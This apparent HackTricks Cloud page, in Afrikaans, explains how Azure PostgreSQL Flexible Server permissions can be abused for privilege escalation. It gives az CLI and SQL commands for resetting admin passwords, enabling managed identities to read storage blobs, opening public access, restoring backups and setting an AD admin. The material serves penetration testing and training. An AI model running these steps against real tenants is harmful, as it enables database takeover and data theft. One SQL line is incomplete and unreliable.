Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md

4.3 KiB

Az - PostgreSQL Privesc

{{#include ../../../banners/hacktricks-training.md}}

PostgreSQL Privesc

Vir meer inligting oor SQL Database, kyk:

{{#ref}} ../az-services/az-postgresql.md {{#endref}}

Microsoft.DBforPostgreSQL/flexibleServers/read && Microsoft.DBforPostgreSQL/flexibleServers/write

Met hierdie toestemming kan jy PostgreSQL Flexible Server instansies op Azure skep, opdateer of verwyder. Dit sluit die voorsiening van nuwe bedieners, die wysiging van bestaande bediener konfigurasies, of die afskakeling van bedieners in.

az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>

Byvoorbeeld, hierdie toestemmings laat die verandering van die PostgreSQL wagwoord toe, nuttig natuurlik in die geval dat PostgreSQL outentisering geaktiveer is.

az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>

Verder, met die toestemmings kan jy die toegewyde identiteit aktiveer, en werk met die bestuurde identiteit wat aan die bediener geheg is. Hier kan jy al die uitbreidings vind wat Azure PostgreSQL fleksible bediener ondersteun https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. Om hierdie uitbreidings te kan gebruik, moet sommige bedienerparameters (azure.extensions) verander word. Byvoorbeeld hier met 'n bestuurde identiteit wat toegang tot Azure Storage kan verkry:

Eerstens verander ons die parameters en maak seker die toegewyde identiteit is geaktiveer:

az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"

az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled

CREATE EXTENSION IF NOT EXISTS azure_storage;

CREATE EXTERNAL DATA SOURCE ManagedIdentity

SELECT azure_storage.account_add('<storage-account>', '<storage-key>');

SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;

Boonop is dit nodig om die publieke toegang in te skakel as jy vanaf 'n nie-private eindpunt wil toegang hê, om dit in te skakel:

az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled

Microsoft.DBforPostgreSQL/flexibleServers/read, Microsoft.DBforPostgreSQL/flexibleServers/write, Microsoft.DBforPostgreSQL/flexibleServers/backups/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Met hierdie toestemmings kan jy 'n bediener van 'n rugsteun herstel met:

az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes

Microsoft.DBforPostgreSQL/flexibleServers/read, Microsoft.DBforPostgreSQL/flexibleServers/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write && Microsoft.DBforPostgreSQL/flexibleServers/administrators/read

Met hierdie toestemming kan jy Azure Active Directory (AD) administrateurs vir 'n PostgreSQL Flexible Server konfigureer. Dit kan uitgebuit word deur jouself of 'n ander rekening as die AD-administrator in te stel, wat volle administratiewe beheer oor die PostgreSQL-bediener verleen. Dit is nog nie ondersteun om 'n bestaande hoofpersoon op te dateer nie, so as daar een geskep is, moet jy dit eers verwyder.

Dit is belangrik dat die flexible-server 'n gebruiker toegewyde bestuurde identiteite het om te gebruik.

az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>

{{#include ../../../banners/hacktricks-training.md}}